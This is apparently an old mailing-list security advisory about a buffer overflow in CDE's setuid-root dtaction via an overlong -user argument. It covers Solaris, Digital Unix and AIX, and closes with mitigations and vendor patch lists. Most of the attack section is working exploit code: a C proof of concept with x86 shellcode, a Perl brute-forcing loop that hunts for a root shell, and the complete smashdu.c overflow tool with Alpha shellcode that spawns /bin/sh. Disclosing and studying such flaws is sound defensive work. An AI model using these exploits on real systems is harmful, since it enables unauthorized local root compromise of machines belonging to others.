COMMAND

    dtaction

SYSTEMS AFFECTED

    Solaris 2.5.1, 2.6, 7, DU 4.0[DEF], AIX 4.1.x, 4.2.x, 4.3.x

PROBLEM

    Job de Haas found following.  He discovered the following security
    problem in dtaction, part of CDE.  /usr/dt/bin/dtaction contains a
    buffer  overflow  when  a  username  of  more  than  1024 bytes is
    supplied as an  argument.  The  buffer overflow can  lead to local
    root compromise.

    Despite the  fact that  Georgi Gunski  found a  buffer overflow in
    dtaction in 1997, no-one apparently checked dtaction any  further.
    The overflow that was discovered then appeared to be due to a  bug
    in the shared library  libDtSvc.so, which was subsequently  fixed.
    Even though the Sun Security Bulletin 164 at that time said:

        Due  to  insufficient  bounds  checking  on arguments supplied
        to dtaction, it  is possible to  overwrite the internal  stack
        space  of  dtaction.   As   dtaction  is  setuid  root,   this
        vulnerability may be exploited to gain root access.

    Apparently  not   all  user   supplied  arguments   were  checked.
    Supplying  a  username  over  1024  with  the  argument -user will
    overflow  an   internal  buffer   used  to   log  a   message   to
    /var/adm/sulog.  Although the overflow can succeed, a message will
    always be logged to /var/adm/sulog.  The overflow is in a function
    called AddSuLog, which is called from a function LogFailure, which
    in turn is called  from a function UnknownUser:   The code at  the
    end of the  routine UnkownUser() looks  like this (all  on Solaris
    2.6):

        UnknownUser+0x025c: call    LogFailure
        UnknownUser+0x0260: nop
        UnknownUser+0x0264: call    0x00023904 [unresolved PLT 54: XmStringFree]
        UnknownUser+0x0268: mov     %i3, %o0
        UnknownUser+0x026c: call    0x00023904 [unresolved PLT 54: XmStringFree]
        UnknownUser+0x0270: mov     %i2, %o0
        UnknownUser+0x0274: call    0x00023910 [unresolved PLT 55: XtFree]
        UnknownUser+0x0278: mov     %i4, %o0
        UnknownUser+0x027c: sethi   %hi(0x23c00), %o0
        UnknownUser+0x0280: call    0x000237a8 [unresolved PLT 25: XtAppMainLoop]
        UnknownUser+0x0284: ld      [%o0 + 0x3c4], %o0
        UnknownUser+0x0288: ret
        UnknownUser+0x028c: restore

    According  to  the  discription  of  XtAppMainLoop,  it will never
    return.  This  will make the  overflow not exploitable  on systems
    where the return  address on the  stack is for  the caller of  the
    caller  (like  sparc).   However,  when  we  inspect  the function
    XtAppMainLoop on Solaris 2.6 we find:

        XtAppMainLoop       :       save    %sp, -0xc0, %sp
        XtAppMainLoop+0x0004:       tst     %i0
        XtAppMainLoop+0x0008:       be      XtAppMainLoop+0x30
        XtAppMainLoop+0x000c:       add     %fp, -0x60, %o1
        XtAppMainLoop+0x0010:       ld      [%i0 + 0x224], %o0
        XtAppMainLoop+0x0014:       tst     %o0
        XtAppMainLoop+0x0018:       be      XtAppMainLoop+0x30
        XtAppMainLoop+0x001c:       add     %fp, -0x60, %o1
        XtAppMainLoop+0x0020:       ld      [%i0 + 0x224], %o1
        XtAppMainLoop+0x0024:       jmpl    %o1, %o7
        XtAppMainLoop+0x0028:       mov     %i0, %o0
        XtAppMainLoop+0x002c:       add     %fp, -0x60, %o1
        XtAppMainLoop+0x0030:       call    0xef5a193c [unresolved PLT 181:
                                                                    XtAppNextEvent]
        XtAppMainLoop+0x0034:       mov     %i0, %o0
        XtAppMainLoop+0x0038:       call    0xef5a1948 [unresolved PLT 182:
                                                                    XtDispatchEvent]
        XtAppMainLoop+0x003c:       add     %fp, -0x60, %o0
        XtAppMainLoop+0x0040:       ldsb    [%i0 + 0x21c], %o0
        XtAppMainLoop+0x0044:       tst     %o0
        XtAppMainLoop+0x0048:       be      XtAppMainLoop+0x30
        XtAppMainLoop+0x004c:       add     %fp, -0x60, %o1
        XtAppMainLoop+0x0050:       tst     %i0
        XtAppMainLoop+0x0054:       be      XtAppMainLoop+0x78
        XtAppMainLoop+0x0058:       nop
        XtAppMainLoop+0x005c:       ld      [%i0 + 0x228], %o0
        XtAppMainLoop+0x0060:       tst     %o0
        XtAppMainLoop+0x0064:       be      XtAppMainLoop+0x78
        XtAppMainLoop+0x0068:       nop
        XtAppMainLoop+0x006c:       ld      [%i0 + 0x228], %o1
        XtAppMainLoop+0x0070:       jmpl    %o1, %o7
        XtAppMainLoop+0x0074:       mov     %i0, %o0
        XtAppMainLoop+0x0078:       ret
        XtAppMainLoop+0x007c:       restore

    It seems that this function might end if a certain test fails.  It
    is unclear if this is a test under control of the user.  Below  is
    a simple C program which shows the problem on Solaris 7 x86, which
    has a stack with the return address of the caller on it.  Although
    the overflow is present in most implementations, exploiting it  is
    very much system dependent.

    /*
     * dtaction_ov.c
     * Job de Haas
     * (c) ITSX bv 1999
     *
     * This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
     * It has only been tested on Solaris 7 x86
     * assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
     *
     */

    #include <stdio.h>

    #include <stdlib.h>
    #include <string.h>
    #include <pwd.h>

    #define BUFLEN 998

    char exploit_code[] =
    "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
    "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
    "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
    "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
    "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
    "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
    "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
    "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
    "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
    "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";

    main()
    {
        char *argp[6], *envp[3];
        char buf[2048];
        unsigned long *p;
        struct passwd *pw;
        int buflen;

        if ((pw = getpwuid(getuid())) == NULL) {
            perror("getpwuid");
            exit(1);
        }

        buflen = BUFLEN - strlen( pw->pw_name );

        memset(buf,0x90,buflen);

        strncpy( &buf[500], exploit_code, strlen(exploit_code));

        /* set some pointers to values that keep code running */
        p = (unsigned long *)&buf[buflen];
        *p++ = 0x37dc779b;
        *p++ = 0xdfaf6502;
        *p++ = 0x08051230;
        *p++ = 0x080479b8;

        /* the return address. */
        *p++ = 0x08047710;
        *p = 0;

        argp[0] = strdup("/usr/dt/bin/dtaction");
        argp[1] = strdup("-u");
        argp[2] = strdup(buf);
        argp[3] = strdup("Run");
        argp[4] = strdup("/usr/bin/id");
        argp[5] = NULL;

        if (!getenv("DISPLAY")) {
            printf("forgot to set DISPLAY\n");
            exit(1);
        }

        envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
        strcpy(envp[0],"DISPLAY=");
        strcat(envp[0],getenv("DISPLAY"));
        envp[1] = NULL;

        execve("/usr/dt/bin/dtaction",argp,envp);

    }

    Zack Hubert verified  that the dtaction  vulnerability in CDE  can
    be exploited for  local root compromise  on Digital Unix  systems.
    Code was  all written  by Lamont  Granquist and  distributed under
    previous Digital Unix overflows.   There is a slight  modification
    however.  Compile  smashdu, change the  perl script to  match your
    location, put some kind of paperweight on your enter key  (believe
    me!), and voila, root.

    #!/usr/local/bin/perl

    $n=8175;
    foreach $j (1..1000) {
      foreach $i (0..7) {
        $x = $n + $j;
        printf("%d %d\n",$x,$i);
        $cmd = "./smashdu -e 'DISPLAY=youriphere:0' 1013 $i $x
    /usr/dt/bin/dtaction -u %e Run /bin/sh";
        open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
        while (<S>) {
          if (m|uid=0|) {
            print "got root with '$cmd'\n";
            exit(0);
          }
        }
      close(S);
      }
    }
    exit(0);

    ------------------

    /* smashdu.c
       generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
       Lamont Granquist
       lamontg@hitl.washington.edu
       lamontg@u.washington.edu
       Tue Dec  1 11:22:03 PST 1998

       gcc -o smashdu smashdu.c */

    #define MAXENV 30
    #define MAXARG 30

    #include <unistd.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <stdio.h>

    /* shellcode = 80 bytes.  as the entry to this shellcode is at offset+72
    bytes
       it cannot be simply padded with nops prior to the shellcode.  */

    int rawcode[] = {
      0x2230fec4,              /* subq $16,0x13c,$17       */
      0x47ff0412,              /* clr $18                  */
      0x42509532,              /* subq $18, 0x84           */
      0x239fffff,              /* xor $18, 0xffffffff, $18 */
      0x4b84169c,
      0x465c0812,
      0xb2510134,              /* stl $18, 0x134($17)      */
      0x265cff98,              /* lda $18, 0xff978cd0      */
      0x22528cd1,
      0x465c0812,              /* xor $18, 0xffffffff, $18 */
      0xb2510140,              /* stl $18, 0x140($17)      */
      0xb6110148,              /* stq $16,0x148($17)       */
      0xb7f10150,              /* stq $31,0x150($17)       */
      0x22310148,              /* addq $17,0x148,$17       */
      0x225f013a,              /* ldil $18,0x13a           */
      0x425ff520,              /* subq $18,0xff,$0         */
      0x47ff0412,              /* clr $18                  */
      0xffffffff,              /* call_pal 0x83            */
      0xd21fffed,              /* bsr $16,$l1    ENTRY     */
      0x6e69622f,              /* .ascii "/bin"            */
                               /* .ascii "/sh\0" is generated */
    };

    int nop           = 0x47ff041f;
    int shellcodesize = 0;
    int padding       = 0;
    int overflowsize  = 0;
    long retaddr      = 0x11fffff24;


    void usage(void) {
      fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
      fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
      fprintf(stderr, "  -e: add a variable to the environment\n");
      fprintf(stderr, "  -r: change ra from default 0x11fffff24\n");
      fprintf(stderr, "  shellsize: size of shellcode on the heap\n");
      fprintf(stderr, "  pad: padding to alighn the shellcode correctly\n");
      fprintf(stderr, "  bufsize: size of the buffer overflow on the stack\n");
      fprintf(stderr, "  cmdargs: %%e will be replaced by buffer overflow\n");
      fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
      fprintf(stderr, "/foo/bar %%e\n");
      exit(-1);
    }

    /* this handles generation of shellcode of the appropriate size and with
       appropriate padding bytes for alignment.  the padding argument should
       typically only be 0,1,2,3 and the routine is "nice" in that if you feed
       it the size of your malloc()'d buffer it should prevent overrunning it
       by automatically adjusting the shellcode size downwards. */


    int genshellcode(char *shellcode, int size, int padding) {
      int i, s, n;
      char *rp;
      char *sp;
      char *np;

      rp = (char *)rawcode;
      sp = (char *)shellcode;
      np = (char *)&nop;
      s  = size;

      if (size < (80 + padding))  {
        fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
        fprintf(stderr, "with %d padding\n", size, padding);
        exit(-1);
      }

    /* first we pad */
      for(i=0;i<padding;i++) {
        *sp = 0x6e;
        sp++;
        s--;
      }

    /* then we copy over the first 72 bytes of the shellcode */
      for(i=0;i<72;i++) {
        *sp = rp[i];
        sp++;
        s--;
      }

      if (s % 4 != 0) {
        n = s % 4;
        s -= n;
        printf("shellcode truncated to %d bytes\n", size - n);
      }

    /* then we add the nops */
      for(i=0; s > 8; s--, i++) {
        *sp = np[i % 4];
        sp++;
      }
      n = i / 4;       /* n == number of nops */

    /* then we add the tail 2 instructions */
      for(i=0; i < 8; i++) {
        *sp = rp[i+72];
        if(i==0)   /* here we handle modifying the branch instruction */
          *sp -= n;
        *sp++;
      }

    }

    int main(argc, argv)
      int   argc;
      char *argv[];
    {
      char *badargs[MAXARG];
      char *badenv[MAXENV];
      long  i, *ip, p;
      char *cp, *ocp;
      int   c, env_idx, overflow_idx;

      env_idx = 0;

      while ((c = getopt(argc, argv, "e:r:")) != EOF) {
        switch (c) {
        case 'e':                         /* add an env variable */
          badenv[env_idx++] = optarg;
          if (env_idx >= MAXENV - 2) {
            fprintf(stderr, "too many envs, ");
            fprintf(stderr, "try increasing MAXENV and recompiling\n");
            exit(-1);
          }
          break;
        case 'r':                         /* change default ra */
          sscanf(optarg, "%x", &retaddr);
          break;
        default:
          usage();
          /* NOTREACHED */
        }
      }

      if (argc - optind < 4) {
        usage();

      shellcodesize = atoi(argv[optind++]);
      padding       = atoi(argv[optind++]);
      overflowsize  = atoi(argv[optind++]);

      printf("using %d %d %d\n", shellcodesize, padding, overflowsize);

    /* copy the args over from argv[] into badargs[] */
      for(i=0;i<29;i++) {
        if (strncmp(argv[optind], "%e", 3) == 0) {  /* %e gets the shellcode
    */
          badargs[i] = malloc(overflowsize);
          overflow_idx = i;
          optind++;
        } else {
          badargs[i] = argv[optind++];
        }
        if (optind >= argc) {
          i++;
          break;
        }
      badargs[i] = NULL;

      if (optind < argc) {
        fprintf(stderr, "too many args, try increasing MAXARG and
    recompiling\n");
        exit(-1);
      }

      printf("putting overflow code into argv[%d]\n", overflow_idx);

      cp = badargs[overflow_idx];
      for(i=0;i<overflowsize-8;i++) {
        *cp = 0x61;
        cp++;
      }

      ocp = (char *) &retaddr;

      for(i=0;i<8;i++) {
        cp[i] = ocp[i];
      }

    /* here is where we actually shovel the shellcode into the environment */
      badenv[env_idx] = malloc(1024);
      genshellcode(badenv[env_idx++],shellcodesize,padding);
      badenv[env_idx] = NULL;

    /* and now we call our program with the hostile args */
      execve(badargs[0], badargs, badenv);

    }

SOLUTION

    dtaction allows local or remote  invocation of an 'Action' as  any
    user.  This is why dtaction is setuid root. If this feature is not
    needed the setuid bits can be removed:

        chmod 555 /usr/dt/bin/dtaction

    dtaction  can  then  still  be  used  to  invoke  local and remote
    'Actions' as the user invoking dtaction.  Patches as follows.

    Compaq Computer Corporation
    ===========================
      This potential security  problem has been  resolved and a  patch
      for this problem has been  made available for Tru64 UNIX  V4.0D,
      V4.0E and V4.0F.  This patch can be installed on:

        V4.0D Patch kit BL11 or BL12
        V4.0E Patch kit BL1 or BL12
        V4.0F Patch kit BL1

      This solution will be  included in a future  distributed release
      of Compaq's Tru64/DIGITAL UNIX.  This patch may be obtained from
      the World Wide Web at the following FTP address:

        http://www.service.digital.com/patches

      The patch file name  is SSRT0615U_dtaction.tar.Z.  Eric  Gatenby
      added  following.    He  noticed   a  major   omission  in   the
      instructions for the  installation of the  patch.  Here  are the
      instructions from the README:

        # cd /usr/dt/bin
        # cp /patches/dtaction dtaction.new
        # chown root:system dtaction.new
        # chmod 6555 dtaction.new
        # ln dtaction dtaction.orig
        # mv dtaction.new dtaction

    The major problem  is that it  leaves the dtaction.orig  file (the
    one with  the overflow)  setuid to  root. Some  admins will notice
    it, some won't...  Solution? chmod 0100 /usr/dt/bin/dtaction.orig

    IBM
    ===
      The following APARs will be available soon:

        AIX 4.1.x:  IY03125  IY03847
        AIX 4.2.x:  IY03105  IY03848
        AIX 4.3.x:  IY02944  IY03849

      Customers that do not require the CDE desktop functionality  can
      disable  CDE  by  restricting  access  to  the  CDE  daemons and
      removing  the  dt  entry  from  /etc/inittab.  Run the following
      commands as root to disable CDE:

        # /usr/dt/bin/dtconfig -d
        # chsubserver -d -v dtspc
        # chsubserver -d -v ttdbserver
        # chsubserver -d -v cmsd
        # chown root.system /usr/dt/bin/*
        # chmod 0 /usr/dt/bin/*

      For  customers  that  require  the  CDE desktop functionality, a
      temporary fix is available via anonymous ftp from:

        ftp://aix.software.ibm.com/aix/efixes/security/cdecert.tar.Z

    Santa Cruz Operation (SCO) and SGI are investigating the issue.

    Sun Microsystems
    ================
      The following patches are available:

          CDE version         SunOS version                   Patch ID
          ___________         _____________                   _________
          1.3                 5.7                             108219-01
          1.3_x86             5.7_x86                         108220-01
          1.2                 5.6                             108201-01
          1.2_x86             5.6_x86                         108202-01
          1.0.2               5.5.1, 5.5, 5.4                 108289-02
          1.0.2_x86           5.5.1_x86, 5.5_x86, 5.4_x86     108290-03
          1.0.1               5.5, 5.4                        108254-01
          1.0.1_x86           5.5_x86, 5.4_x86                108255-01